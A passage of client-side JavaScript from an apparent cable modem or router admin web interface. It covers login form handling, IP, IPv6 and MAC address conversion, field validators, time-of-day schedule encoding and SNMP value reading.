}\n}\n\n\nfunction handleError(e) {\n    if (e === \"unauthorized\") {\n        refresh();\n        return;\n    }\n    if (e[\"label\"])\n        alert(xlate(\"Could not set \") + \"\\\"\" +xlate(e[\"label\"])+\"\\\"\"); // todo: tranlaset\n    else if (canXlate(e))\n        alert(xlate(e));\n    else if (_.isString(e))\n        alert(e);\n    else alert(xlate(\"Error\")); // todo: tranlaset\n}\n\nfunction DoApply() {\n    try {\n        $.each(_afterApply, function (k, v) {\n            v();\n        });\n        if (typeof storeData === \"undefined\")\n            return;\n        storeData();\n        store();\n        refresh();\n    } catch (e) {\n        if (e == \"cancel\")\n            ; // nothing\n        else handleError(e);\n    } finally {\n        closeWaitDialog()\n    }\n}\n\nfunction Apply() {\n    openWaitDialog();\n    setTimeout(DoApply, 10);\n}\n\n\n\nfunction loginbuild() {\n    ag = { };\n    ag.UserName = isSuddenlink() ? \"\" : \"admin\";\n    ag.Password = \"\";\n    doLogin = function() {\n        login($(\"#UserName\").val(), $(\"#Password\").val())\n        if (!isLoggedIn()) {\n            alert(xlate(\"Invalid Username or Password!\"));\n        }\n        refresh();\n    };\n    afterBuild(function() {\n        $(document).keypress(function(event){\n            var keycode = (event.keyCode ? event.keyCode : event.which);\n            if(keycode == '13'){\n                doLogin();\n            }\n        });\n    });\n    return form(\"Login\", \"LoginText\",\n            fieldset(\"Login\",\n                    [text(\"UserName\"),\n                        text(\"Password\")\n                    ]),\n            buttons(\"{{Apply}}\", function onclick() {\n                doLogin();\n            }));\n}\n\nfunction disablePage() {\n    $('#mainpage *').attr('disabled', true);\n    $('.submitBtn').hide();\n    if ($(\"#LAN\")) { // make sure we can see lan change\n        $(\"#LAN\").parents().removeAttr('disabled');\n        $(\"#LAN \").removeAttr('disabled');\n        $(\"#LAN\").children().removeAttr('disabled');\n        $(\"#LAN\").show();\n    }\n    if ($(\"#BSS\")) { // make sure we can see lan change\n        $(\"#BSS\").parents().removeAttr('disabled');\n        $(\"#BSS\").removeAttr('disabled');\n        $(\"#BSS\").children().removeAttr('disabled');\n        $(\"#BSS\").show();\n    }\n}\n\n\n\nfunction enableItem(id) {\n    $('.submitBtn').show(); // make sure we can see\n     $('.submitBtn').removeAttr('disabled'); // make sure we can see\n    $('.submitBtn').parent().removeAttr('disabled');\n    if ($(id)) {\n        $(id).parents().removeAttr('disabled');\n        $(id).removeAttr('disabled');\n        $(id).children().removeAttr('disabled');\n        $(id).show();\n    }\n}\n\n\n\nfunction render2() {\n    $.each(_afterBuild, function(k, v) {\n        v();\n    });\n\n    if ($(\"#dialog\"))\n        prepareDialog(\"dialog\");\n    if ($(\"#dialog1\"))\n        prepareDialog(\"dialog1\");\n    if ($(\"#dialog2\"))\n        prepareDialog(\"dialog2\");\n\n    $(\"body\").ajaxError(function(event, request, settings) {\n        // alert(\"Error Requesting Data\");\n       // refresh();\n    });\n\n    if (!pageEnabled(base)) {\n        disablePage();\n    }\n    if (isLoggedIn() && (!submenuVisible(base) || !menuMap[base])) {\n        $('#mainpage').hide();\n    }\n\n}\n\nfunction render() {\n\n    buildShell();\n    var def = isLoggedIn() ? build() : loginbuild();\n    $(def.toHTML()).appendTo($(\"#mainpage\"));\n\n\n    if (ag)\n        ag.dirty = { };\n\n    $(render2());\n}\n\n\nfunction getSelectedLAN() {\n    if (!isTechnician() || isMG())\n        return getLan()[0];\n    return getSessionStorage(\"ar_selected_lan\") || getLan()[0] ;\n}\nfunction selectLan() {\n    if (!isTechnician() || isMG())\n        return null;\n    ag.LAN = getSelectedLAN();\n    var slans = _.map(getLan(), function (v) {\n        return \"\" + v + \":\" + getLanName(v)\n    });\n    return fieldset(\"LANSegment\", select(\"LAN\", slans, function onChange() {\n        $.log(\"selected lan set \" + $(\"#LAN\").val());\n        setSessionStorage(\"ar_selected_lan\", $(\"#LAN\").val());\n        refresh();\n    }));\n}\n\nfunction getSelectedBss() {\n    if (!isTechnician() || isMG())\n        return getBss()[0];\n    return getSessionStorage(\"ar_selected_bss\") || getBss()[0] ;\n}\n\nfunction selectBss() {\n    if (!isTechnician() || isMG())\n        return null;\n    ag.BSS = getSelectedBss();\n    var slans = _.map(getBss(), function (v) {\n        return \"\" + v + \":\" + getBssName(v)\n    });\n    return fieldset(\"Wireless\", select(\"BSS\", slans, function onChange() {\n        $.log(\"selected bss set \" + $(\"#BSS\").val());\n        setSessionStorage(\"ar_selected_bss\", $(\"#BSS\").val());\n        refresh();\n    }));\n}\n\n\nfunction sectionIndex() {\n    var a = new Array();\n    for (var i = 0; i < 99; i++) {\n        if (arguments[i * 3]) {\n            var li;\n            (function(id1, id2, url) {\n                li = _li(_a(\"href:\" + url, _label(\"class:item\", \"text:{{\" + id1 +\"}}\"),\n                        _br(), _label(\"text:{{\" + id2+\"}}\"), _br()\n                        ), _br());\n            })(arguments[i * 3], arguments[i * 3 + 1], arguments[i * 3 + 2]);\n            a.push(li);\n        } else break;\n    }\n    return _ul(a);\n}\n\nfunction canXlate(id) {\n    return _xlate [id];\n}\nfunction xlate(id, arg1, arg2, arg3) {\n//    if (debug()&8)\n//        return \"{{\"+id+\"}}\";\n    var o = _xlate [id];\n\n    if ((debug()&8) && !o)\n      o = \"@@\"+id;\n\n    if (!o) {\n        o = id.replace(\"_tt\",\"\");\n        if (_xlate[o])\n            o = _xlate[o];\n    }\n//    if (!o)\n//        alert(\"no def for \"+o);\n    if (arg1 !== undefined)\n        o = o.replace(\"%s\",arg1);\n    if (arg2 !== undefined)\n        o = o.replace(\"%s\",arg2);\n    if (arg3 !== undefined)\n        o = o.replace(\"%s\",arg3);\n    return o;\n}\n\nfunction helpText(id) {\n    return xlate(id+\"_tt\");\n}\n\nfunction technicianOnly(id, value) {\n    if (value !== undefined)\n        _technician[id] = value;\n    return _technician[id] === undefined ? false : _technician[id];\n}\n\n\nfunction updateDisabledState(checkboxsel, inputsel, invert) {\n    var on = $(checkboxsel).attr(\"checked\") && !$(checkboxsel).attr(\"disabled\");\n    if (invert)\n        on = !on;\n    var id = $(checkboxsel).attr(\"id\");\n    $(inputsel).each(function() {\n        if ($(this).attr(\"id\") != id && !$(this).hasClass(\".read_only\")) {\n            if (on) {\n                $(this).removeClass(\"input_disabled\");\n                $(this).removeAttr(\"disabled\");\n            } else {\n                $(this).addClass(\"input_disabled\");\n                $(this).attr(\"disabled\", \"disabled\");\n            }\n        }\n    });\n    $(inputsel).each(function() {\n        if ($(this).attr(\"id\") != id && !$(this).hasClass(\".read_only\")) {\n            if ($(this).is(':checkbox')) {\n                $(this).trigger(\"change\");\n            }\n        }\n    });\n}\n\nfunction setupCheck(checkboxsel, inputsel, invert) {\n    function updater() {\n        if (invert)\n            updateDisabledState(checkboxsel, inputsel, true);\n        else updateDisabledState(checkboxsel, inputsel);\n    }\n    afterBuild(function() {\n        $(checkboxsel).bind(\"click\", updater);\n        updater();\n    });\n}\n\n\nfunction todToInt(day1, day2, hour1, hour2) {\n    day1 = day1.asInt();\n    day2 = day2.asInt();\n    hour1 = hour1.asInt();\n    hour2 = hour2.asInt();\n\n    if (hour1 >= hour2)\n        throw xlate(\"No hours of the day selected. Second hour must be after the first.\");\n    var todDay = 0;\n    var todTime = 0;\n    var i = 0;\n    if (day1 > day2) {\n        for (i = day1; i <= 6; i++)\n            todDay |= (1 << i);\n        for (i = 0; i <= day2; i++)\n            todDay |= (1 << i);\n    } else {\n        for (i = day1; i <= day2; i++)\n            todDay |= (1 << i);\n    }\n    todDay &= 0x7F;\n    if (hour1 > hour2) {\n        for (i = hour1; i <= 23; i++)\n            todTime |= 1 << i;\n        for (i = 0; i <= hour2; i++)\n            todTime |= 1 << i;\n    } else {\n        for (i = hour1; i < hour2; i++) {\n            var shift = (i === 0) ? (1 << 0) : (1 << (i));\n            todTime |= shift;\n        }\n    }\n    return (todTime << 7) | todDay;\n}\nfunction lowestBitSet(tod, l, h) {\n    tod = parseInt(tod,10);\n    l = parseInt(l,10);\n    h = parseInt(h,10);\n    for (var i = l; i <= h; i++)\n        if (tod & (1 << i))\n            return i;\n    return l;\n}\nfunction highestBitSet(tod, l, h) {\n    for (var i = h; i >= l; i--)\n        if (tod & (1 << i))\n            return i;\n    return h;\n}\n\nfunction todToTimeString(tod, s_min, e_min) {\n    tod = parseInt(tod,10);\n    var l = (lowestBitSet(tod, 7, 30) - 7);\n    var h = (highestBitSet(tod, 7, 30) - 7);\n    var l_min = (s_min==undefined? \":00\" : s_min)\n    var h_min = (e_min==undefined? \":00\" : e_min)\n\n    var s = l.asString(2) + \":\"+l_min +\"-\" + (h + 0).asString(2) + \":\"+h_min;\n    if (s == \"00:00-24:00\")\n        s = \"All Day\";\n    return s;\n}\nfunction todToDayString(tod) {\n    var day = \"\";\n    tod = parseInt(tod,10);\n    if ((tod & 0x07F) === 0x07F)\n        return \"Every Day\";\n    tod = tod & 0x7F;\n    for (var i = 0; i <= 6; i++)\n        if (tod & (1 << i))\n            day += days[i].substr(2) + \",\";\n    if (day.endsWith(\",\"))\n        day = day.substr(0, day.length - 1);\n    return day;\n}\n\n\nfunction refresh() {\n    location.reload(true);\n    window.open(location.href, \"_self\");\n\n    //   location.reload(true);\n    //    window.open(location.href, \"_self\");\n\n}\n\n\n\nfunction isHexString(s) {\n    if (s.length === 0)\n        return false;\n    var pos = 0;\n    if (s.charAt(pos) == '$')\n        pos++;\n    while (pos < s.length) {\n        if (\"01234567789ABCDEFabcdef \".indexOf(s.charAt(pos)) == -1)\n            return false;\n        else pos++;\n    }\n    return true;\n}\n\nfunction parseHexString(hs) {\n    if (!isHexString(hs))\n        return [ ];\n    var a = [ ];\n    var pos = 0;\n    if (hs.charAt(pos) == '$')\n        pos++;\n\n    while (pos < hs.length) {\n        if (hs.charAt(pos) == ' ') {\n            pos++;\n            continue;\n        }\n        if (hs.length < 2)\n            return [ ];\n        var num = parseInt(hs.charAt(pos), 16) * 16 + parseInt(hs.charAt(pos + 1), 16);\n        if (isNaN(num))\n            return [ ];\n        pos += 2;\n        a.push(num);\n    }\n    return a;\n}\nfunction toHexString(a) {\n    var s = \"$\";\n    _.each(a, function(d) {\n        if (d < 16) s += \"0\";\n        s += Number(d).toString(16).toUpperCase()\n    });\n    return s;\n}\n\nfunction stringToHex(s) {\n    var v = \"\";\n    for (var i = 0; i < s.length; i++)\n        v += toHexDig(s.charCodeAt(i), 2);\n    return v;\n}\nfunction hexToString(s) {\n    return String.fromCharCode.apply(this, parseHexString(s));\n}\nfunction toHexDig(s, len) {\n    s = Number(s).toString(16).toUpperCase();\n    if (s.length < len)\n        s = \"00000000000000000000000000\".substr(0, len - s.length) + s;\n    return s;\n}\n\n\nfunction ipToHex(v, sep) {\n    if (sep === undefined)\n        sep = \"\";\n    sep = \"\";\n    var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/;\n    if (!reg.test(v))\n        return \"$\" + \"00\" + sep + \"00\" + sep + \"00\" + sep + \"00\";\n    var a = v.split(\".\");\n    return \"$\" + toHexDig(a[0], 2) + sep + toHexDig(a[1], 2) +\n            sep + toHexDig(a[2], 2) + sep + toHexDig(a[3], 2);\n}\nfunction hexToIp(v) {\n    if (!v)\n        return \"0.0.0.0\";\n    if (!v.startsWith(\"$\") && v.length === 4)\n        v = convertASCIIStringToHexString(v);\n    else if (!v.startsWith(\"$\"))\n        return v;\n    var reg = /\\$?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?([0-9A-Fa-f][0-9A-Fa-f]) ?/;\n    if (!reg.test(v))\n        return \"0.0.0.0\";\n    var s = \"\";\n    s += parseInt(RegExp.$1, 16) + \".\";\n    s += parseInt(RegExp.$2, 16) + \".\";\n    s += parseInt(RegExp.$3, 16) + \".\";\n    s += parseInt(RegExp.$4, 16);\n    return s;\n}\n\nfunction macToHex(v) {\n    v = v.toUpperCase();\n    var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/;\n    if (!reg.test(v))\n        return \"$\" + \"000000000000\";\n    //var a = v.split(\":\");\n    return \"$\" + v.replace(/:/g, \"\");\n}\nfunction hexToMac(v) {\n    if (!v)\n        return \"\";\n    if (!v.startsWith(\"$\") && v.length === 6)\n        v = convertASCIIStringToHexString(v);\n    if (v.startsWith(\"$\"))\n        v = v.substr(1);\n\n    v = v.replace(/ /g, \"\");\n    var reg = /^[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]$/;\n    if (!reg.test(v))\n        return \"00:00:00:00:00:00\";\n    var s = \"\";\n    for (var i = 0; i < 6; i++) {\n        s += v.charAt(i * 2);\n        s += v.charAt(i * 2 + 1);\n        if (i < 6 - 1)\n            s += \":\";\n    }\n    return s;\n}\n\n\nfunction ipv4ToHex(s) {\n  var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/;\n  if (!reg.test(s))\n      return null;\n  var hex = \"\";\n  s = s.split(\".\");\n  for (var i=0; i<4; i++) {\n      if (s[i].asInt() > 255)\n          return null;\n      hex += toHexDig(s[i], 2)\n  }\n  return hex;\n}\n\n  function hexToIpv4(v) {\n  if (!v)\n      return null;\n  if (!v.startsWith(\"$\") && v.length === 4)\n      v = convertASCIIStringToHexString(v);\n  else if (!v.startsWith(\"$\"))\n        return v;      \n  v = v.replace(\"$\",\"\").replace(/ /g,\"\");\n  if (!/^[0-9A-Fa-f]{8}$/.test(v))\n      return null;\n  v = v.match(/([0-9A-Fa-f]{2})/g);\n  var s = \"\";\n  for (var i=0;i<4;i++)\n    s += parseInt(v[i], 16) + (i!=3 ? \".\" : \"\");\n  return s;\n  }\n\n\nfunction hexToIpv6(v) {\n    if (!v)\n        return \"\";\n    if (!v.startsWith(\"$\") && v.length === 16)\n        v = convertASCIIStringToHexString(v);\n    else if (!v.startsWith(\"$\"))\n        return v;\t\n    v = v.replace(\"$\",\"\").replace(/ /g,\"\");\n    if (!/^[0-9A-Fa-f]{32}$/.test(v))\n      return \"\";\n    v = v.match(/([0-9A-Fa-f]{4})/g);\n    var s = \"\";\n    for (var i=0;i<8;i++) {\n        //alert(s);\n       s += \"\"+v[i].replace(/^[0]{1,3}/,\"\")+\":\";\n        //alert(s);\n    }\n    s = \":\"+s;\n/*\n    // does it need to replace 0: to ::???\n    for (i=8; i>=2; i--) {\n        var rg = new RegExp(\":(0:){\"+i+\"}\");\n        if (rg.test(s)) {\n            s = s.replace(rg,\"::\");\n            break;\n        }\n    }\n*/\t\n    s = s.substr(1,s.length-2);\n    if (s == \"\")\n        return \"::\";\n    if (s.startsWith(\":\"))\n        return \":\"+s;\n    if (s.endsWith(\":\"))\n        return s+\":\";\n    return s;\n}\n\n\nfunction hexToIpv6x(v) {\n    if (!v)\n        return null;\n    if (!v.startsWith(\"$\") && v.length === 16)\n        v = convertASCIIStringToHexString(v);\n    v = v.replace(\"$\",\"\").replace(/ /g,\"\");\n    if (!/^[0-9A-Fa-f]{32}$/.test(v))\n      return null;\n    v = v.match(/([0-9A-Fa-f]{4})/g);\n    var s = \"\";\n    for (var i=0;i<8;i++)\n       s += \"\"+v[i].replace(/^[0]{1,3}/,\"\")+\":\";\n    for (i=8; i>=2; i--) {\n        var rg = new RegExp(\"(0:){\"+i+\"}\");\n        if (rg.test(s)) {\n            s = s.replace(rg,\":\");\n            break;\n        }\n    }\n    s = s.substr(0,s.length-1);\n    if (s == \"\")\n        return \"::\";\n    if (s.startsWith(\":\"))\n        return \":\"+s;\n    if (s.endsWith(\":\"))\n        return s+\":\";\n    return s;\n}\n\nfunction ipv6ToHex(s) {\n    var v = ipv6ToHexOrNull(s);\n    return v===null || v===undefined ? \"$00000000000000000000000000000000\": v;\n}\n function ipv6ToHexOrNull(s) {\n     if (s==\"::\")\n       return \"$\"+\"\".padLeft(\"0\",32);\n     if (s.startsWith(\"::\"))\n       s = \"0::\"+s.substr(2);\n     if (s.endsWith(\"::\"))\n       s = s.substr(0, s.length-2)+\"::0\";\n     var foundColonColon=false;\n     var hex = \"\";\n     var fail = false;\n     var parts = s.split(\":\");\n     if (parts.length == 1 || parts.length > 8) return null;\n     for (var i=0;i<parts.length;i++) {\n          if (parts[i] == \"\") {\n              if (foundColonColon)\n                  return null;\n              foundColonColon=true;\n              hex += \"X\";\n          } else if (i == parts.length-1 && parts[i].indexOf(\".\") !== -1) {\n              var v4Hex = ipv4ToHex(parts[i]);\n              if (v4Hex === null)\n                  return null;\n              hex  += v4Hex;\n          } else {\n                  parts[i] = parts[i].toUpperCase().padLeft(\"0\",4);\n                  if (!/^[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]$/.test(parts[i]))\n                      return null;\n                  hex += parts[i];\n              }\n          }\n     hex = hex.replace(/X/,\"\".padLeft(\"0\",32-hex.length+1));\n     return hex.length == 32 ? \"$\"+hex : null;\n }\n\n\nfunction test(v) {\n    var s = \"$\";\n    if (!v)\n        v = 0;\n    var pos = 0;\n    for (var i = 0; i < 4; i++) {\n        var bits = 0;\n        if (v > pos) {\n            bits = v - pos;\n            if (bits > 8)\n                bits = 8;\n        }\n        pos += 8;\n        s += toHexDig((1 << bits) - 1, 2) + (i < 3 ? \" \" : \"\");\n    }\n    return hexToIp(s);\n}\n\n\n\nfunction prefix() {\n    var o = formatter();\n    o.load = function(v) {\n        var s = \"$\";\n        if (!v)\n            v = 0;\n        var pos = 0;\n        for (var i = 0; i < 4; i++) {\n            var bits = 0;\n            if (v > pos) {\n                bits = v - pos;\n                if (bits > 8)\n                    bits = 8;\n            }\n            pos += 8;\n            s += toHexDig( (((1<<bits)-1)<<(8-bits)) ,2)+(i<3 ? \" \" : \"\");\n        }\n        return hexToIp(s);\n    };\n    o.store = function(v) {\n        var msg = xlate(\"Invalid subnet mask.\");\n        var reg = /^[0-9]+.[0-9]+.[0-9]+.[0-9]+$/;\n        if (!reg.test(v))\n            return 0;\n        var a = v.split(\"\\.\");\n        var prefix = 0;\n        var done = false;\n        for (var i = 0; i < 4; i++) {\n            var d = Number(a[i]);\n            for (var j = 7; j >= 0; j--) {\n                var on = (d & (1 << j));\n                if (!done && on)\n                    prefix++;\n                else done = true;\n                if (done && on)\n                    throw msg;\n            }\n        }\n        return prefix;\n    };\n    o.validate = function(v) {\n        if (this.notEmpty && (\"\"+v).length === 0)\n            throw xlate(\"Subnet Mask Address cannot be empty\");\n        if (!v)\n            return v;\n        var reg = /^([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)$/;\n        if (!reg.test(v))\n            throw xlate(\"Invalid Subnet Mask: Must be 4 numbers separated by '.' e.g. 123.44.5.245\");\n        var allZero = true;\n        _.each(v.split(/\\./), function f(i) {\n            if (i.asInt() > 255)\n                throw xlate(\"'%s' is not a valid part of a Subnet Mask.  Must be less than 256.\",i);;\n            if (allZero)\n                allZero = i.asInt() === 0;\n        });\n\n        if (this.notZero && allZero)\n            throw xlate(\"Subnet Mask cannot be all zero\");\n        return v;\n    }\n    return o;\n}\n\nfunction nullIp(ip) {\n    return ip.length === 0 || ip == \"0.0.0.0\" || ip == \"$00000000\";\n}\n\nfunction hexIp() {\n    var o = formatter();\n    o.load = function(v) {\n        return hexToIp(v);\n    };\n    o.store = function(v) {\n        //alert(\"store \"+v+\" \"+ipToHex(v));\n        return ipToHex(v, \" \");\n    };\n    o.validate = function(v) {\n        if (this.notEmpty && (\"\"+v).length === 0)\n            throw xlate(\"IP Address cannot be empty\");\n        if (!v)\n            return v;\n        var reg = /^([0-9]+)\\.([0-9]+)\\.([0-9]+)\\.([0-9]+)$/;\n        if (!reg.test(v))\n            throw xlate(\"Invalid IP Address: Must be 4 numbers separated by '.' e.g. 123.44.5.245\");\n        var allZero = true;\n        var index = 0;\n        _.each(v.split(/\\./), function f(i) {\n            if (i.asInt() > 255)\n                throw xlate(\"'%s' is not a valid part of an IP Address.  Must be less than 256.\", i);\n            if (index==0 && i.asInt() == 127)\n                throw xlate(\"Invalid IP Address\");\n            if (allZero)\n                allZero = i.asInt() === 0;\n            index++;\n        });\n\n        if (this.notZero && allZero)\n            throw xlate(\"IP Address cannot be all zero\");\n        return v;\n    }\n    return o;\n}\nfunction hexIpNotNull() {\n    var o = hexIp();\n    o.notEmpty = true;\n    o.notZero = true;\n    return o;\n}\n\n\n\n\n\nfunction TypedAddr(type,addr) {\n    this.type = type;\n    this.addr = addr;\n    this.toString = function() {\n        return addr;\n    }\n}\n\nfunction typedAddr() {\n    var o = formatter();\n    o.notEmpty = true;\n    function hasName(v) {\n        return /[a-z]/i.test(v);\n    }\n    o.hexIp = new hexIp();\n    o.load = function(v) {\n        if (v.type == \"16\")\n            return v.addr;\n        else return this.hexIp.load(v.addr);\n    };\n    o.store = function(v) {\n        var oo = {\n            type:hasName(v) ? \"16\" : \"1\", // mod for ipv6\n            addr:hasName(v) ? v : o.hexIp.store(v, \" \")\n        };\n        return oo;\n    };\n    o.validate = function(v) {\n        if (this.notEmpty && (\"\"+v).length === 0)\n            throw xlate(\"IP Address cannot be empty\");\n        if (!v)\n            return v;\n        if (hasName(v))\n            return v;\n        return o.hexIp.validate(v);\n    }\n    return o;\n}\n\n\nfunction hexIpV6() {\n    var o = formatter();\n    o.notEmpty = true;\n    //o.notZero = true; leave this until heavy qa\n    o.load = function(v) {\n        if (!v)\n            v = \"::\";\n        else v = hexToIpv6(v) || \"::\";\n        if (!o.notEmpty && (!v || v==\"::\" || /^.?null.?$/.test(v)))\n            v = \"\";\n        return v;\n    }\n    o.store = function(v) {\n        return ipv6ToHex(v);\n    }\n    o.validate = function(v) {\n        if (!o.notEmpty && v == \"\")\n            return v;\n        if(!o.notEmpty && /^.?null.?$/.test(v))\n            return \"\";\n        var hex = ipv6ToHexOrNull(v);\n        if (hex !== null) {\n            if (o.notZero && hex == \"$00000000000000000000000000000000\")\n             throw xlate(\"IP Address cannot be empty\");\n          return v;\n        }\n        throw xlate(\"Invalid IPV6 Address\");\n    }\n    o.normalize = function(v) {\n        return o.load(o.store(v));\n    }\n\n\n    o.size = 40;\n    return o;\n}\n\n\n\nfunction hexIpV6OrNull() {\n    o = hexIpV6();\n    o.notEmpty = false;\n    o.notZero = false;\n    return o;\n}\n\nfunction hexIpV6orFQDN() {\n    var o = formatter();\n    o.load = function(v) {\n        if (v.startsWith(\"$\")) {\n            if (v.replace(\"$\",\"\").replace(/ /g,\"\") == \"00000000000000000000000000000000\")\n                return \"\";\n            return hexToIpv6(v) || \"::\";\n        }\n        else return v;\n    }\n    o.store = function(v) {\n        return !v ? \"\" : (v.contains(\":\") ? ipv6ToHex(v) : v);\n    }\n    o.validate = function(v) {\n        if (!v)\n             return \"\"; //throw xlate(\"Must specify domain name or IP address\");\n         if (v.contains(\":\") && ipv6ToHexOrNull(v) !== null)\n            return v;\n        else {\n            return v;\n        }\n        throw xlate(\"Invalid IPV6 Address\");\n    }\n    o.size = 40;\n    return o;\n}\n\n\n\nfunction macAddr() {\n    var o = formatter();\n    o.load = function(v) {\n        return hexToMac(v);\n    };\n    o.store = function(v) {\n        //alert(\"store \"+v+\" \"+ipToHex(v));\n        return macToHex(v);\n    };\n    o.validate = function(v) {\n        if (!v)\n            return v;\n        var reg = /^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/;\n        if (!reg.test(v) || v == \"00:00:00:00:00:00\")\n            throw xlate(\"Invalid Mac Address: Must be 6 pairs of hexdecimals separated by ':' e.g. 12:34:56:78:9A:BC\");\n        return v;\n    }\n    return o;\n}\n\nfunction intField() {\n    var o = formatter();\n    o.validate = function(v) {\n        var reg = /^[0-9]+$/;\n        if (!reg.test(v))\n            throw xlate(\"%s must be a number.\",this.label);\n        return v;\n    }\n    return o;\n}\n\nfunction intRangeField(lo, hi) {\n    var o = formatter();\n    o.validate = function(v) {\n        var reg = /^[0-9]+$/;\n        if (!reg.test(v))\n            throw xlate(\"%s must be a number.\",this.label);\n        if (v.asInt()<lo || v.asInt()>hi)\n            throw xlate(\"%s must be between %s and %s.\",this.label,lo,hi);\n        return v;\n    }\n    return o;\n}\n\nfunction intRangeFieldOrZero(lo, hi) {\n    var o = formatter();\n    o.validate = function(v) {\n        var reg = /^[0-9]+$/;\n        if (!reg.test(v))\n            throw xlate(\"%s must be a number.\",this.label);\n        if (v.asInt()!==0 && (v.asInt()<lo || v.asInt()>hi))\n             throw xlate(\"%s must be between %s and %s or 0.\",v,lo,hi);\n        return v;\n    }\n    return o;\n}\n\nfunction rangeCheck (msg, v, lo, hi) {\n    if (v > hi || v <lo)\n        throw xlate(\"%s must be between %s and %s.\",v,lo,hi);\n}\n\n\nfunction nullBugHack() {\n    var o = formatter();\n    o.load = function(v) {\n        if (v == \"%20\")\n            return \"\";\n        return v;\n    };\n    o.store = function(v) {\n        if (v.length === 0)\n            return \" \";\n        return v;\n    };\n    return o;\n}\nfunction ssid() {\n    var o = formatter();\n    o.validate = function(s) {\n        if (s.length < 1 || s.length > 32)\n            throw xlate(\"Invalid SSID: Must be between 1 and 32 characters.\");\n        _.each(s.split(\"\"), function(c, i) {\n            if (i === 0 && \"!#;\".indexOf(c) != -1)\n                throw xlate(\"Invalid SSID: Cannot start with !, # or ;\");\n            if (\"?\\\"$[\\\\]\".indexOf(c) != -1)\n                throw xlate(\"Invalid SSID: Cannot contain  ?, \\\", $, [, \\\\, ] or +\");\n        });\n        return s;\n    }\n    return o;\n}\n\nfunction canConvertToASCII(s) {\n    return _.all(parseHexString(s), function(d) {\n        return d >= 32 && d <= 126\n    });\n}\nfunction convertHexStringToASCIIString(hexString) {\n    return String.fromCharCode.apply(this, parseHexString(hexString));\n}\nfunction convertASCIIStringToHexString(asciiString) {\n    var s=\"$\";\n    for (var i=0; i<asciiString.length; i++) {\n        s += asciiString.charCodeAt(i).asHexString(2);\n    }\n    return s;\n}\n// stringToHex -- sdsd\n// hexToASCII\n\nvar wepHelper;\nfunction wepPassword() {\n    var o = formatter();\n    wepHelper = o;\n    o.size = 26;\n    o.load = function(v) {\n        if (!v)\n            v = \"\";\n\n        if (v.startsWith(\"$\"))\n            return v.substr(1).replace(/ /g, \"\");\n        else if (v.startsWith(\"0x\"))\n            return v.substr(2).replace(/ /g, \"\");\n        else return v;\n//        if (v.startsWith(\"$\")) {\n//            v = v.substr(1).replace(/ /g, \"\");\n//            if (canConvertToASCII(v))\n//                v = convertHexStringToASCIIString(v);\n//        }\n//        return v;\n    };\n    o.store = function(v) {\n        if (ag.SecurityMode != 1) // only check in wep mode\n            return v;\n\n        var keyLength = $(\"#KeyLength\").valOrChecked();\n        var isHex = isHexString(v) && !v.contains(\" \");\n        if (v.startsWith(\"$\"))\n            v = v.substr(1);\n\n        if (keyLength == 1) {\n            if (v.length === 5)\n               return v;\n            if (v.length === 10 && isHex) {\n                return \"0x\" + v;\n            }\n            throw xlate(\"WEP 64-bit Passwords must be 5 ASCII or 10 hexadecimal digits.\");\n        }\n        if (keyLength == 2) {\n            if (v.length === 13)\n                return v;\n            if (v.length === 26 && isHex) {\n                return \"0x\" + v;\n            }\n            throw xlate(\"WEP 128-bit Passwords must be 13 ASCII or 26 hexadecimal digits.\");\n        }\n        return \"\";\n    };\n    return o;\n}\n\n\n\nfunction stringToSnmpDate(v) {\n    if (!/[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9] [0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9]$/.test(v)) {\n        throw xlate(\"date/time must be of the form yyyy-MM-dd HH:mm:ss.ff\");\n    }\n    var y = v.substr(0,4).asInt();\n    var m = v.substr(5,2).asInt();\n    var d = v.substr(8,2).asInt();\n    var h = v.substr(11,2).asInt();\n    var mi = v.substr(14,2).asInt();\n    var s = v.substr(17,2).asInt();\n    var ms = v.substr(20,2).asInt();\n\n    return toHexString([\n            (y/256).asInt(),(y%256).asInt(),m,d,h,mi,s,ms\n            ]);\n}\nfunction snmpDateToString(v) {\n    var ha = parseHexString(v);\n    if (ha.length != 8)\n        return \"????-??-?? ??:??:??.??\";\n    function get1(index) {\n        var v = ha[index];\n        if (v < 10)\n            return \"0\" + v;\n        return \"\" + v;\n    }\n\n    var s = \"\" + (ha[0] * 256 + ha[1]) + \"-\" + get1(2) + \"-\" + get1(3) + \" \" + get1(4) + \":\" + get1(5) + \":\" + get1(6) + \".\" + get1(7);\n    return s;\n}\n\nfunction tunnelOid(k) {\n  var s =  \"1.3.6.1.4.1.4115.1.3.4.1.1.7.0\";\n return s + \".\" +\n         _.map(k.split(\"\"),function f(c) { return c.charCodeAt(0); }).\n                 join(\".\");\n}\n\n//  var v = snmpGet1(\"1.3.6.1.4.1.4115.1.3.4.1.1.7.0\");\nfunction getFromTunnel(name) {\n  function getWhenReady(oid) {\n        for (;;) {\n          var v = snmpGet1(oid);\n          if (v !== \"BUSY\")\n            return v;\n          $.log(\"BUSY: \"+oid);\n          var start = new Date().getTime();\n          while (new Date().getTime() - start < 100)\n               ;// crude timer hack to give snmp time to settle down\n        }\n  }\n  // prime\n  $.log(\"getFromTunnel \"+name);\n  getWhenReady(tunnelOid(name)+\".0\");\n  var index = 1;\n  var rv = \"\";\n  for (;;) {\n      var v = 